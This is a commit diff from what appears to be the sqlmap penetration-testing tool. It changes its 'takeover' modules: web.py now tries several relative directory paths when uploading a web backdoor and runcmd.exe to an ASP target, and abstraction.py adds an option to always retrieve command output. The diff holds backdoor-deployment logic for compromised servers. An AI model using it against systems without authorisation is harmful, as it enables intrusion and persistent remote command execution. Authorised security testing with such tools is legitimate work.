Skip to content

Commit b558712

Browse files
committed
more feature updates
1 parent 15d1fcb commit b558712

2 files changed

Lines changed: 27 additions & 18 deletions

File tree

lib/takeover/abstraction.py

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,7 @@ class Abstraction(Web, UDF, xp_cmdshell):
4141

4242
def __init__(self):
4343
self.envInitialized = False
44+
self.alwaysRetrieveCmdOutput = False
4445

4546
UDF.__init__(self)
4647
Web.__init__(self)
@@ -77,11 +78,15 @@ def evalCmd(self, cmd, first=None, last=None):
7778
def runCmd(self, cmd):
7879
getOutput = None
7980

80-
message = "do you want to retrieve the command standard "
81-
message += "output? [Y/n] "
82-
getOutput = readInput(message, default="Y")
81+
if not self.alwaysRetrieveCmdOutput:
82+
message = "do you want to retrieve the command standard "
83+
message += "output? [Y/n/a] "
84+
getOutput = readInput(message, default="Y")
85+
86+
if getOutput in ("a", "A"):
87+
self.alwaysRetrieveCmdOutput = True
8388

84-
if not getOutput or getOutput in ("y", "Y"):
89+
if not getOutput or getOutput in ("y", "Y") or self.alwaysRetrieveCmdOutput:
8590
output = self.evalCmd(cmd)
8691

8792
if output:

lib/takeover/web.py

Lines changed: 18 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -169,7 +169,7 @@ def webInit(self):
169169

170170
backdoorName = "tmpb%s.%s" % (randomStr(4), self.webApi)
171171
backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
172-
backdoorContent = backdoorStream.read()
172+
originalBackdoorContent = backdoorContent = backdoorStream.read()
173173

174174
uploaderName = "tmpu%s.%s" % (randomStr(4), self.webApi)
175175
uploaderContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "uploader.%s_" % self.webApi))
@@ -200,20 +200,24 @@ def webInit(self):
200200
logger.info(infoMsg)
201201

202202
if self.webApi == "asp":
203+
scriptsDirectory = "Scripts"
203204
runcmdName = "tmpe%s.exe" % randomStr(4)
204205
runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
205-
scriptsDirectory = "Scripts"
206-
backdoorDirectory = "%s..\%s" % (posixToNtSlashes(directory), scriptsDirectory)
207-
backdoorContent = backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
208-
backdoorStream.file.truncate()
209-
backdoorStream.read()
210-
backdoorStream.seek(0)
211-
backdoorStream.write(backdoorContent)
212-
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
213-
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
214-
self.webBackdoorUrl = "%s/%s/%s" % (self.webBaseUrl.rstrip('/'), scriptsDirectory, backdoorName)
215-
self.webDirectory = directory
216-
else:
206+
backdoorUploaded = False
207+
for backdoorDirectoryFormat in ("%s.\%s", "%s..\%s", "%s..\..\%s"):
208+
backdoorDirectory = backdoorDirectoryFormat % (posixToNtSlashes(directory), scriptsDirectory)
209+
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
210+
backdoorStream.file.truncate()
211+
backdoorStream.read()
212+
backdoorStream.seek(0)
213+
backdoorStream.write(backdoorContent)
214+
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
215+
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
216+
self.webBackdoorUrl = "%s/%s/%s" % (self.webBaseUrl.rstrip('/'), scriptsDirectory, backdoorName)
217+
self.webDirectory = backdoorDirectory
218+
backdoorUploaded = True
219+
break
220+
if not backdoorUploaded:
217221
continue
218222
elif not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory):
219223
warnMsg = "backdoor hasn't been successfully uploaded "
@@ -231,7 +235,7 @@ def webInit(self):
231235
self.webDirectory = directory
232236

233237
infoMsg = "the backdoor has probably been successfully "
234-
infoMsg += "uploaded on '%s', go with your browser " % directory
238+
infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
235239
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
236240
logger.info(infoMsg)
237241

0 commit comments

Comments
 (0)